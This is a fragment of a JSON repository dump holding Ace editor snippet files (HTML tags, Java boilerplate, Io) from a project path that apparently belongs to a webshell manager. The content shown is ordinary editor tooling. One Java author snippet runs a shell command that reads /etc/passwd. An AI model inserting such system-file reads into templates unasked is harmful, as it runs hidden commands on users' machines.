title=\\n\ttitle=\"${1}\"${2}\\nsnippet type\\n\ttype=\"${1}\"${2}\\nsnippet value\\n\tvalue=\"${1}\"${2}\\nsnippet width\\n\twidth=\"${1}\"${2}\\n# Elements\\nsnippet a\\n\t<a href=\"${1:#}\">${2:$1}</a>\\nsnippet a.\\n\t<a class=\"${1}\" href=\"${2:#}\">${3:$1}</a>\\nsnippet a#\\n\t<a id=\"${1}\" href=\"${2:#}\">${3:$1}</a>\\nsnippet a:ext\\n\t<a href=\"http://${1:example.com}\">${2:$1}</a>\\nsnippet a:mail\\n\t<a href=\"mailto:${1:joe@example.com}?subject=${2:feedback}\">${3:email me}</a>\\nsnippet abbr\\n\t<abbr title=\"${1}\">${2}</abbr>\\nsnippet address\\n\t<address>\\n\t\t${1}\\n\t</address>\\nsnippet area\\n\t<area shape=\"${1:rect}\" coords=\"${2}\" href=\"${3}\" alt=\"${4}\" />\\nsnippet area+\\n\t<area shape=\"${1:rect}\" coords=\"${2}\" href=\"${3}\" alt=\"${4}\" />\\n\tarea+${5}\\nsnippet area:c\\n\t<area shape=\"circle\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:d\\n\t<area shape=\"default\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:p\\n\t<area shape=\"poly\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet area:r\\n\t<area shape=\"rect\" coords=\"${1}\" href=\"${2}\" alt=\"${3}\" />\\nsnippet article\\n\t<article>\\n\t\t${1}\\n\t</article>\\nsnippet article.\\n\t<article class=\"${1}\">\\n\t\t${2}\\n\t</article>\\nsnippet article#\\n\t<article id=\"${1}\">\\n\t\t${2}\\n\t</article>\\nsnippet aside\\n\t<aside>\\n\t\t${1}\\n\t</aside>\\nsnippet aside.\\n\t<aside class=\"${1}\">\\n\t\t${2}\\n\t</aside>\\nsnippet aside#\\n\t<aside id=\"${1}\">\\n\t\t${2}\\n\t</aside>\\nsnippet audio\\n\t<audio src=\"${1}>${2}</audio>\\nsnippet b\\n\t<b>${1}</b>\\nsnippet base\\n\t<base href=\"${1}\" target=\"${2}\" />\\nsnippet bdi\\n\t<bdi>${1}</bdo>\\nsnippet bdo\\n\t<bdo dir=\"${1}\">${2}</bdo>\\nsnippet bdo:l\\n\t<bdo dir=\"ltr\">${1}</bdo>\\nsnippet bdo:r\\n\t<bdo dir=\"rtl\">${1}</bdo>\\nsnippet blockquote\\n\t<blockquote>\\n\t\t${1}\\n\t</blockquote>\\nsnippet body\\n\t<body>\\n\t\t${1}\\n\t</body>\\nsnippet br\\n\t<br />${1}\\nsnippet button\\n\t<button type=\"${1:submit}\">${2}</button>\\nsnippet button.\\n\t<button class=\"${1:button}\" type=\"${2:submit}\">${3}</button>\\nsnippet button#\\n\t<button id=\"${1}\" type=\"${2:submit}\">${3}</button>\\nsnippet button:s\\n\t<button type=\"submit\">${1}</button>\\nsnippet button:r\\n\t<button type=\"reset\">${1}</button>\\nsnippet canvas\\n\t<canvas>\\n\t\t${1}\\n\t</canvas>\\nsnippet caption\\n\t<caption>${1}</caption>\\nsnippet cite\\n\t<cite>${1}</cite>\\nsnippet code\\n\t<code>${1}</code>\\nsnippet col\\n\t<col />${1}\\nsnippet col+\\n\t<col />\\n\tcol+${1}\\nsnippet colgroup\\n\t<colgroup>\\n\t\t${1}\\n\t</colgroup>\\nsnippet colgroup+\\n\t<colgroup>\\n\t\t<col />\\n\t\tcol+${1}\\n\t</colgroup>\\nsnippet command\\n\t<command type=\"command\" label=\"${1}\" icon=\"${2}\" />\\nsnippet command:c\\n\t<command type=\"checkbox\" label=\"${1}\" icon=\"${2}\" />\\nsnippet command:r\\n\t<command type=\"radio\" radiogroup=\"${1}\" label=\"${2}\" icon=\"${3}\" />\\nsnippet datagrid\\n\t<datagrid>\\n\t\t${1}\\n\t</datagrid>\\nsnippet datalist\\n\t<datalist>\\n\t\t${1}\\n\t</datalist>\\nsnippet datatemplate\\n\t<datatemplate>\\n\t\t${1}\\n\t</datatemplate>\\nsnippet dd\\n\t<dd>${1}</dd>\\nsnippet dd.\\n\t<dd class=\"${1}\">${2}</dd>\\nsnippet dd#\\n\t<dd id=\"${1}\">${2}</dd>\\nsnippet del\\n\t<del>${1}</del>\\nsnippet details\\n\t<details>${1}</details>\\nsnippet dfn\\n\t<dfn>${1}</dfn>\\nsnippet dialog\\n\t<dialog>\\n\t\t${1}\\n\t</dialog>\\nsnippet div\\n\t<div>\\n\t\t${1}\\n\t</div>\\nsnippet div.\\n\t<div class=\"${1}\">\\n\t\t${2}\\n\t</div>\\nsnippet div#\\n\t<div id=\"${1}\">\\n\t\t${2}\\n\t</div>\\nsnippet dl\\n\t<dl>\\n\t\t${1}\\n\t</dl>\\nsnippet dl.\\n\t<dl class=\"${1}\">\\n\t\t${2}\\n\t</dl>\\nsnippet dl#\\n\t<dl id=\"${1}\">\\n\t\t${2}\\n\t</dl>\\nsnippet dl+\\n\t<dl>\\n\t\t<dt>${1}</dt>\\n\t\t<dd>${2}</dd>\\n\t\tdt+${3}\\n\t</dl>\\nsnippet dt\\n\t<dt>${1}</dt>\\nsnippet dt.\\n\t<dt class=\"${1}\">${2}</dt>\\nsnippet dt#\\n\t<dt id=\"${1}\">${2}</dt>\\nsnippet dt+\\n\t<dt>${1}</dt>\\n\t<dd>${2}</dd>\\n\tdt+${3}\\nsnippet em\\n\t<em>${1}</em>\\nsnippet embed\\n\t<embed src=${1} type=\"${2} />\\nsnippet fieldset\\n\t<fieldset>\\n\t\t${1}\\n\t</fieldset>\\nsnippet fieldset.\\n\t<fieldset class=\"${1}\">\\n\t\t${2}\\n\t</fieldset>\\nsnippet fieldset#\\n\t<fieldset id=\"${1}\">\\n\t\t${2}\\n\t</fieldset>\\nsnippet fieldset+\\n\t<fieldset>\\n\t\t<legend><span>${1}</span></legend>\\n\t\t${2}\\n\t</fieldset>\\n\tfieldset+${3}\\nsnippet figcaption\\n\t<figcaption>${1}</figcaption>\\nsnippet figure\\n\t<figure>${1}</figure>\\nsnippet footer\\n\t<footer>\\n\t\t${1}\\n\t</footer>\\nsnippet footer.\\n\t<footer class=\"${1}\">\\n\t\t${2}\\n\t</footer>\\nsnippet footer#\\n\t<footer id=\"${1}\">\\n\t\t${2}\\n\t</footer>\\nsnippet form\\n\t<form action=\"${1}\" method=\"${2:get}\" accept-charset=\"utf-8\">\\n\t\t${3}\\n\t</form>\\nsnippet form.\\n\t<form class=\"${1}\" action=\"${2}\" method=\"${3:get}\" accept-charset=\"utf-8\">\\n\t\t${4}\\n\t</form>\\nsnippet form#\\n\t<form id=\"${1}\" action=\"${2}\" method=\"${3:get}\" accept-charset=\"utf-8\">\\n\t\t${4}\\n\t</form>\\nsnippet h1\\n\t<h1>${1}</h1>\\nsnippet h1.\\n\t<h1 class=\"${1}\">${2}</h1>\\nsnippet h1#\\n\t<h1 id=\"${1}\">${2}</h1>\\nsnippet h2\\n\t<h2>${1}</h2>\\nsnippet h2.\\n\t<h2 class=\"${1}\">${2}</h2>\\nsnippet h2#\\n\t<h2 id=\"${1}\">${2}</h2>\\nsnippet h3\\n\t<h3>${1}</h3>\\nsnippet h3.\\n\t<h3 class=\"${1}\">${2}</h3>\\nsnippet h3#\\n\t<h3 id=\"${1}\">${2}</h3>\\nsnippet h4\\n\t<h4>${1}</h4>\\nsnippet h4.\\n\t<h4 class=\"${1}\">${2}</h4>\\nsnippet h4#\\n\t<h4 id=\"${1}\">${2}</h4>\\nsnippet h5\\n\t<h5>${1}</h5>\\nsnippet h5.\\n\t<h5 class=\"${1}\">${2}</h5>\\nsnippet h5#\\n\t<h5 id=\"${1}\">${2}</h5>\\nsnippet h6\\n\t<h6>${1}</h6>\\nsnippet h6.\\n\t<h6 class=\"${1}\">${2}</h6>\\nsnippet h6#\\n\t<h6 id=\"${1}\">${2}</h6>\\nsnippet head\\n\t<head>\\n\t\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\\n\\n\t\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\n\t\t${2}\\n\t</head>\\nsnippet header\\n\t<header>\\n\t\t${1}\\n\t</header>\\nsnippet header.\\n\t<header class=\"${1}\">\\n\t\t${2}\\n\t</header>\\nsnippet header#\\n\t<header id=\"${1}\">\\n\t\t${2}\\n\t</header>\\nsnippet hgroup\\n\t<hgroup>\\n\t\t${1}\\n\t</hgroup>\\nsnippet hgroup.\\n\t<hgroup class=\"${1}>\\n\t\t${2}\\n\t</hgroup>\\nsnippet hr\\n\t<hr />${1}\\nsnippet html\\n\t<html>\\n\t${1}\\n\t</html>\\nsnippet xhtml\\n\t<html xmlns=\"http://www.w3.org/1999/xhtml\">\\n\t${1}\\n\t</html>\\nsnippet html5\\n\t<!DOCTYPE html>\\n\t<html>\\n\t\t<head>\\n\t\t\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\\n\t\t\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\n\t\t\t${2:meta}\\n\t\t</head>\\n\t\t<body>\\n\t\t\t${3:body}\\n\t\t</body>\\n\t</html>\\nsnippet i\\n\t<i>${1}</i>\\nsnippet iframe\\n\t<iframe src=\"${1}\" frameborder=\"0\"></iframe>${2}\\nsnippet iframe.\\n\t<iframe class=\"${1}\" src=\"${2}\" frameborder=\"0\"></iframe>${3}\\nsnippet iframe#\\n\t<iframe id=\"${1}\" src=\"${2}\" frameborder=\"0\"></iframe>${3}\\nsnippet img\\n\t<img src=\"${1}\" alt=\"${2}\" />${3}\\nsnippet img.\\n\t<img class=\"${1}\" src=\"${2}\" alt=\"${3}\" />${4}\\nsnippet img#\\n\t<img id=\"${1}\" src=\"${2}\" alt=\"${3}\" />${4}\\nsnippet input\\n\t<input type=\"${1:text/submit/hidden/button/image}\" name=\"${2}\" id=\"${3:$2}\" value=\"${4}\" />${5}\\nsnippet input.\\n\t<input class=\"${1}\" type=\"${2:text/submit/hidden/button/image}\" name=\"${3}\" id=\"${4:$3}\" value=\"${5}\" />${6}\\nsnippet input:text\\n\t<input type=\"text\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:submit\\n\t<input type=\"submit\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:hidden\\n\t<input type=\"hidden\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:button\\n\t<input type=\"button\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:image\\n\t<input type=\"image\" name=\"${1}\" id=\"${2:$1}\" src=\"${3}\" alt=\"${4}\" />${5}\\nsnippet input:checkbox\\n\t<input type=\"checkbox\" name=\"${1}\" id=\"${2:$1}\" />${3}\\nsnippet input:radio\\n\t<input type=\"radio\" name=\"${1}\" id=\"${2:$1}\" />${3}\\nsnippet input:color\\n\t<input type=\"color\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:date\\n\t<input type=\"date\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:datetime\\n\t<input type=\"datetime\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:datetime-local\\n\t<input type=\"datetime-local\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:email\\n\t<input type=\"email\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:file\\n\t<input type=\"file\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:month\\n\t<input type=\"month\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:number\\n\t<input type=\"number\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:password\\n\t<input type=\"password\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:range\\n\t<input type=\"range\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:reset\\n\t<input type=\"reset\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:search\\n\t<input type=\"search\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:time\\n\t<input type=\"time\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:url\\n\t<input type=\"url\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet input:week\\n\t<input type=\"week\" name=\"${1}\" id=\"${2:$1}\" value=\"${3}\" />${4}\\nsnippet ins\\n\t<ins>${1}</ins>\\nsnippet kbd\\n\t<kbd>${1}</kbd>\\nsnippet keygen\\n\t<keygen>${1}</keygen>\\nsnippet label\\n\t<label for=\"${2:$1}\">${1}</label>\\nsnippet label:i\\n\t<label for=\"${2:$1}\">${1}</label>\\n\t<input type=\"${3:text/submit/hidden/button}\" name=\"${4:$2}\" id=\"${5:$2}\" value=\"${6}\" />${7}\\nsnippet label:s\\n\t<label for=\"${2:$1}\">${1}</label>\\n\t<select name=\"${3:$2}\" id=\"${4:$2}\">\\n\t\t<option value=\"${5}\">${6:$5}</option>\\n\t</select>\\nsnippet legend\\n\t<legend>${1}</legend>\\nsnippet legend+\\n\t<legend><span>${1}</span></legend>\\nsnippet li\\n\t<li>${1}</li>\\nsnippet li.\\n\t<li class=\"${1}\">${2}</li>\\nsnippet li+\\n\t<li>${1}</li>\\n\tli+${2}\\nsnippet lia\\n\t<li><a href=\"${2:#}\">${1}</a></li>\\nsnippet lia+\\n\t<li><a href=\"${2:#}\">${1}</a></li>\\n\tlia+${3}\\nsnippet link\\n\t<link rel=\"${1}\" href=\"${2}\" title=\"${3}\" type=\"${4}\" />${5}\\nsnippet link:atom\\n\t<link rel=\"alternate\" href=\"${1:atom.xml}\" title=\"Atom\" type=\"application/atom+xml\" />${2}\\nsnippet link:css\\n\t<link rel=\"stylesheet\" href=\"${2:style.css}\" type=\"text/css\" media=\"${3:all}\" />${4}\\nsnippet link:favicon\\n\t<link rel=\"shortcut icon\" href=\"${1:favicon.ico}\" type=\"image/x-icon\" />${2}\\nsnippet link:rss\\n\t<link rel=\"alternate\" href=\"${1:rss.xml}\" title=\"RSS\" type=\"application/atom+xml\" />${2}\\nsnippet link:touch\\n\t<link rel=\"apple-touch-icon\" href=\"${1:favicon.png}\" />${2}\\nsnippet map\\n\t<map name=\"${1}\">\\n\t\t${2}\\n\t</map>\\nsnippet map.\\n\t<map class=\"${1}\" name=\"${2}\">\\n\t\t${3}\\n\t</map>\\nsnippet map#\\n\t<map name=\"${1}\" id=\"${2:$1}>\\n\t\t${3}\\n\t</map>\\nsnippet map+\\n\t<map name=\"${1}\">\\n\t\t<area shape=\"${2}\" coords=\"${3}\" href=\"${4}\" alt=\"${5}\" />${6}\\n\t</map>${7}\\nsnippet mark\\n\t<mark>${1}</mark>\\nsnippet menu\\n\t<menu>\\n\t\t${1}\\n\t</menu>\\nsnippet menu:c\\n\t<menu type=\"context\">\\n\t\t${1}\\n\t</menu>\\nsnippet menu:t\\n\t<menu type=\"toolbar\">\\n\t\t${1}\\n\t</menu>\\nsnippet meta\\n\t<meta http-equiv=\"${1}\" content=\"${2}\" />${3}\\nsnippet meta:compat\\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=${1:7,8,edge}\" />${3}\\nsnippet meta:refresh\\n\t<meta http-equiv=\"refresh\" content=\"text/html;charset=UTF-8\" />${3}\\nsnippet meta:utf\\n\t<meta http-equiv=\"content-type\" content=\"text/html;charset=UTF-8\" />${3}\\nsnippet meter\\n\t<meter>${1}</meter>\\nsnippet nav\\n\t<nav>\\n\t\t${1}\\n\t</nav>\\nsnippet nav.\\n\t<nav class=\"${1}\">\\n\t\t${2}\\n\t</nav>\\nsnippet nav#\\n\t<nav id=\"${1}\">\\n\t\t${2}\\n\t</nav>\\nsnippet noscript\\n\t<noscript>\\n\t\t${1}\\n\t</noscript>\\nsnippet object\\n\t<object data=\"${1}\" type=\"${2}\">\\n\t\t${3}\\n\t</object>${4}\\n# Embed QT Movie\\nsnippet movie\\n\t<object width=\"$2\" height=\"$3\" classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\"\\n\t codebase=\"http://www.apple.com/qtactivex/qtplugin.cab\">\\n\t\t<param name=\"src\" value=\"$1\" />\\n\t\t<param name=\"controller\" value=\"$4\" />\\n\t\t<param name=\"autoplay\" value=\"$5\" />\\n\t\t<embed src=\"${1:movie.mov}\"\\n\t\t\twidth=\"${2:320}\" height=\"${3:240}\"\\n\t\t\tcontroller=\"${4:true}\" autoplay=\"${5:true}\"\\n\t\t\tscale=\"tofit\" cache=\"true\"\\n\t\t\tpluginspage=\"http://www.apple.com/quicktime/download/\" />\\n\t</object>${6}\\nsnippet ol\\n\t<ol>\\n\t\t${1}\\n\t</ol>\\nsnippet ol.\\n\t<ol class=\"${1}>\\n\t\t${2}\\n\t</ol>\\nsnippet ol#\\n\t<ol id=\"${1}>\\n\t\t${2}\\n\t</ol>\\nsnippet ol+\\n\t<ol>\\n\t\t<li>${1}</li>\\n\t\tli+${2}\\n\t</ol>\\nsnippet opt\\n\t<option value=\"${1}\">${2:$1}</option>\\nsnippet opt+\\n\t<option value=\"${1}\">${2:$1}</option>\\n\topt+${3}\\nsnippet optt\\n\t<option>${1}</option>\\nsnippet optgroup\\n\t<optgroup>\\n\t\t<option value=\"${1}\">${2:$1}</option>\\n\t\topt+${3}\\n\t</optgroup>\\nsnippet output\\n\t<output>${1}</output>\\nsnippet p\\n\t<p>${1}</p>\\nsnippet param\\n\t<param name=\"${1}\" value=\"${2}\" />${3}\\nsnippet pre\\n\t<pre>\\n\t\t${1}\\n\t</pre>\\nsnippet progress\\n\t<progress>${1}</progress>\\nsnippet q\\n\t<q>${1}</q>\\nsnippet rp\\n\t<rp>${1}</rp>\\nsnippet rt\\n\t<rt>${1}</rt>\\nsnippet ruby\\n\t<ruby>\\n\t\t<rp><rt>${1}</rt></rp>\\n\t</ruby>\\nsnippet s\\n\t<s>${1}</s>\\nsnippet samp\\n\t<samp>\\n\t\t${1}\\n\t</samp>\\nsnippet script\\n\t<script type=\"text/javascript\" charset=\"utf-8\">\\n\t\t${1}\\n\t<\\/script>\\nsnippet scriptsrc\\n\t<script src=\"${1}.js\" type=\"text/javascript\" charset=\"utf-8\"><\\/script>\\nsnippet section\\n\t<section>\\n\t\t${1}\\n\t</section>\\nsnippet section.\\n\t<section class=\"${1}\">\\n\t\t${2}\\n\t</section>\\nsnippet section#\\n\t<section id=\"${1}\">\\n\t\t${2}\\n\t</section>\\nsnippet select\\n\t<select name=\"${1}\" id=\"${2:$1}\">\\n\t\t${3}\\n\t</select>\\nsnippet select.\\n\t<select name=\"${1}\" id=\"${2:$1}\" class=\"${3}>\\n\t\t${4}\\n\t</select>\\nsnippet select+\\n\t<select name=\"${1}\" id=\"${2:$1}\">\\n\t\t<option value=\"${3}\">${4:$3}</option>\\n\t\topt+${5}\\n\t</select>\\nsnippet small\\n\t<small>${1}</small>\\nsnippet source\\n\t<source src=\"${1}\" type=\"${2}\" media=\"${3}\" />\\nsnippet span\\n\t<span>${1}</span>\\nsnippet strong\\n\t<strong>${1}</strong>\\nsnippet style\\n\t<style type=\"text/css\" media=\"${1:all}\">\\n\t\t${2}\\n\t</style>\\nsnippet sub\\n\t<sub>${1}</sub>\\nsnippet summary\\n\t<summary>\\n\t\t${1}\\n\t</summary>\\nsnippet sup\\n\t<sup>${1}</sup>\\nsnippet table\\n\t<table border=\"${1:0}\">\\n\t\t${2}\\n\t</table>\\nsnippet table.\\n\t<table class=\"${1}\" border=\"${2:0}\">\\n\t\t${3}\\n\t</table>\\nsnippet table#\\n\t<table id=\"${1}\" border=\"${2:0}\">\\n\t\t${3}\\n\t</table>\\nsnippet tbody\\n\t<tbody>\\n\t\t${1}\\n\t</tbody>\\nsnippet td\\n\t<td>${1}</td>\\nsnippet td.\\n\t<td class=\"${1}\">${2}</td>\\nsnippet td#\\n\t<td id=\"${1}\">${2}</td>\\nsnippet td+\\n\t<td>${1}</td>\\n\ttd+${2}\\nsnippet textarea\\n\t<textarea name=\"${1}\" id=${2:$1} rows=\"${3:8}\" cols=\"${4:40}\">${5}</textarea>${6}\\nsnippet tfoot\\n\t<tfoot>\\n\t\t${1}\\n\t</tfoot>\\nsnippet th\\n\t<th>${1}</th>\\nsnippet th.\\n\t<th class=\"${1}\">${2}</th>\\nsnippet th#\\n\t<th id=\"${1}\">${2}</th>\\nsnippet th+\\n\t<th>${1}</th>\\n\tth+${2}\\nsnippet thead\\n\t<thead>\\n\t\t${1}\\n\t</thead>\\nsnippet time\\n\t<time datetime=\"${1}\" pubdate=\"${2:$1}>${3:$1}</time>\\nsnippet title\\n\t<title>${1:`substitute(Filename(\\'\\', \\'Page Title\\'), \\'^.\\', \\'\\\\u&\\', \\'\\')`}</title>\\nsnippet tr\\n\t<tr>\\n\t\t${1}\\n\t</tr>\\nsnippet tr+\\n\t<tr>\\n\t\t<td>${1}</td>\\n\t\ttd+${2}\\n\t</tr>\\nsnippet track\\n\t<track src=\"${1}\" srclang=\"${2}\" label=\"${3}\" default=\"${4:default}>${5}</track>${6}\\nsnippet ul\\n\t<ul>\\n\t\t${1}\\n\t</ul>\\nsnippet ul.\\n\t<ul class=\"${1}\">\\n\t\t${2}\\n\t</ul>\\nsnippet ul#\\n\t<ul id=\"${1}\">\\n\t\t${2}\\n\t</ul>\\nsnippet ul+\\n\t<ul>\\n\t\t<li>${1}</li>\\n\t\tli+${2}\\n\t</ul>\\nsnippet var\\n\t<var>${1}</var>\\nsnippet video\\n\t<video src=\"${1} height=\"${2}\" width=\"${3}\" preload=\"${5:none}\" autoplay=\"${6:autoplay}>${7}</video>${8}\\nsnippet wbr\\n\t<wbr />${1}\\n',t.scope=\"html\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/html_ruby.js",
    "content": "ace.define(\"ace/snippets/html_ruby\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"html_ruby\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ini.js",
    "content": "ace.define(\"ace/snippets/ini\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ini\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/io.js",
    "content": "ace.define(\"ace/snippets/io\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippets=[{content:\"assertEquals(${1:expected}, ${2:expr})\",name:\"assertEquals\",scope:\"io\",tabTrigger:\"ae\"},{content:\"${1:${2:newValue} := ${3:Object} }clone do(\\n\t$0\\n)\",name:\"clone do\",scope:\"io\",tabTrigger:\"cdo\"},{content:'docSlot(\"${1:slotName}\", \"${2:documentation}\")',name:\"docSlot\",scope:\"io\",tabTrigger:\"ds\"},{content:\"(${1:header,}\\n\t${2:body}\\n)$0\",keyEquivalent:\"@(\",name:\"Indented Bracketed Line\",scope:\"io\",tabTrigger:\"(\"},{content:\"\\n\t$0\\n\",keyEquivalent:\"\\r\",name:\"Special: Return Inside Empty Parenthesis\",scope:\"io meta.empty-parenthesis.io, io meta.comma-parenthesis.io\"},{content:\"${1:methodName} := method(${2:args,}\\n\t$0\\n)\",name:\"method\",scope:\"io\",tabTrigger:\"m\"},{content:'newSlot(\"${1:slotName}\", ${2:defaultValue}, \"${3:docString}\")$0',name:\"newSlot\",scope:\"io\",tabTrigger:\"ns\"},{content:\"${1:name} := Object clone do(\\n\t$0\\n)\",name:\"Object clone do\",scope:\"io\",tabTrigger:\"ocdo\"},{content:\"test${1:SomeFeature} := method(\\n\t$0\\n)\",name:\"testMethod\",scope:\"io\",tabTrigger:\"ts\"},{content:\"${1:Something}Test := ${2:UnitTest} clone do(\\n\t$0\\n)\",name:\"UnitTest\",scope:\"io\",tabTrigger:\"ut\"}],t.scope=\"io\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/jack.js",
    "content": "ace.define(\"ace/snippets/jack\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jack\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/jade.js",
    "content": "ace.define(\"ace/snippets/jade\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jade\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/java.js",
    "content": "ace.define(\"ace/snippets/java\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='## Access Modifiers\\nsnippet po\\n\tprotected\\nsnippet pu\\n\tpublic\\nsnippet pr\\n\tprivate\\n##\\n## Annotations\\nsnippet before\\n\t@Before\\n\tstatic void ${1:intercept}(${2:args}) { ${3} }\\nsnippet mm\\n\t@ManyToMany\\n\t${1}\\nsnippet mo\\n\t@ManyToOne\\n\t${1}\\nsnippet om\\n\t@OneToMany${1:(cascade=CascadeType.ALL)}\\n\t${2}\\nsnippet oo\\n\t@OneToOne\\n\t${1}\\n##\\n## Basic Java packages and import\\nsnippet im\\n\timport\\nsnippet j.b\\n\tjava.beans.\\nsnippet j.i\\n\tjava.io.\\nsnippet j.m\\n\tjava.math.\\nsnippet j.n\\n\tjava.net.\\nsnippet j.u\\n\tjava.util.\\n##\\n## Class\\nsnippet cl\\n\tclass ${1:`Filename(\"\", \"untitled\")`} ${2}\\nsnippet in\\n\tinterface ${1:`Filename(\"\", \"untitled\")`} ${2:extends Parent}${3}\\nsnippet tc\\n\tpublic class ${1:`Filename()`} extends ${2:TestCase}\\n##\\n## Class Enhancements\\nsnippet ext\\n\textends \\nsnippet imp\\n\timplements\\n##\\n## Comments\\nsnippet /*\\n##\\n## Constants\\nsnippet co\\n\tstatic public final ${1:String} ${2:var} = ${3};${4}\\nsnippet cos\\n\tstatic public final String ${1:var} = \"${2}\";${3}\\n##\\n## Control Statements\\nsnippet case\\n\tcase ${1}:\\n\t\t${2}\\nsnippet def\\n\tdefault:\\n\t\t${2}\\nsnippet el\\n\telse\\nsnippet elif\\n\telse if (${1}) ${2}\\nsnippet if\\n\tif (${1}) ${2}\\nsnippet sw\\n\tswitch (${1}) {\\n\t\t${2}\\n\t}\\n##\\n## Create a Method\\nsnippet m\\n\t${1:void} ${2:method}(${3}) ${4:throws }${5}\\n##\\n## Create a Variable\\nsnippet v\\n\t${1:String} ${2:var}${3: = null}${4};${5}\\n##\\n## Enhancements to Methods, variables, classes, etc.\\nsnippet ab\\n\tabstract\\nsnippet fi\\n\tfinal\\nsnippet st\\n\tstatic\\nsnippet sy\\n\tsynchronized\\n##\\n## Error Methods\\nsnippet err\\n\tSystem.err.print(\"${1:Message}\");\\nsnippet errf\\n\tSystem.err.printf(\"${1:Message}\", ${2:exception});\\nsnippet errln\\n\tSystem.err.println(\"${1:Message}\");\\n##\\n## Exception Handling\\nsnippet as\\n\tassert ${1:test} : \"${2:Failure message}\";${3}\\nsnippet ca\\n\tcatch(${1:Exception} ${2:e}) ${3}\\nsnippet thr\\n\tthrow\\nsnippet ths\\n\tthrows\\nsnippet try\\n\ttry {\\n\t\t${3}\\n\t} catch(${1:Exception} ${2:e}) {\\n\t}\\nsnippet tryf\\n\ttry {\\n\t\t${3}\\n\t} catch(${1:Exception} ${2:e}) {\\n\t} finally {\\n\t}\\n##\\n## Find Methods\\nsnippet findall\\n\tList<${1:listName}> ${2:items} = ${1}.findAll();${3}\\nsnippet findbyid\\n\t${1:var} ${2:item} = ${1}.findById(${3});${4}\\n##\\n## Javadocs\\nsnippet /**\\nsnippet @au\\n\t@author `system(\"grep \\\\`id -un\\\\` /etc/passwd | cut -d \\\\\":\\\\\" -f5 | cut -d \\\\\",\\\\\" -f1\")`\\nsnippet @br\\n\t@brief ${1:Description}\\nsnippet @fi\\n\t@file ${1:`Filename()`}.java\\nsnippet @pa\\n\t@param ${1:param}\\nsnippet @re\\n\t@return ${1:param}\\n##\\n## Logger Methods\\nsnippet debug\\n\tLogger.debug(${1:param});${2}\\nsnippet error\\n\tLogger.error(${1:param});${2}\\nsnippet info\\n\tLogger.info(${1:param});${2}\\nsnippet warn\\n\tLogger.warn(${1:param});${2}\\n##\\n## Loops\\nsnippet enfor\\n\tfor (${1} : ${2}) ${3}\\nsnippet for\\n\tfor (${1}; ${2}; ${3}) ${4}\\nsnippet wh\\n\twhile (${1}) ${2}\\n##\\n## Main method\\nsnippet main\\n\tpublic static void main (String[] args) {\\n\t\t${1:/* code */}\\n\t}\\n##\\n## Print Methods\\nsnippet print\\n\tSystem.out.print(\"${1:Message}\");\\nsnippet printf\\n\tSystem.out.printf(\"${1:Message}\", ${2:args});\\nsnippet println\\n\tSystem.out.println(${1});\\n##\\n## Render Methods\\nsnippet ren\\n\trender(${1:param});${2}\\nsnippet rena\\n\trenderArgs.put(\"${1}\", ${2});${3}\\nsnippet renb\\n\trenderBinary(${1:param});${2}\\nsnippet renj\\n\trenderJSON(${1:param});${2}\\nsnippet renx\\n\trenderXml(${1:param});${2}\\n##\\n## Setter and Getter Methods\\nsnippet set\\n\t${1:public} void set${3:}(${2:String} ${4:}){\\n\t\tthis.$4 = $4;\\n\t}\\nsnippet get\\n\t${1:public} ${2:String} get${3:}(){\\n\t\treturn this.${4:};\\n\t}\\n##\\n## Terminate Methods or Loops\\nsnippet re\\n\treturn\\nsnippet br\\n\tbreak;\\n##\\n## Test Methods\\nsnippet t\\n\tpublic void test${1:Name}() throws Exception 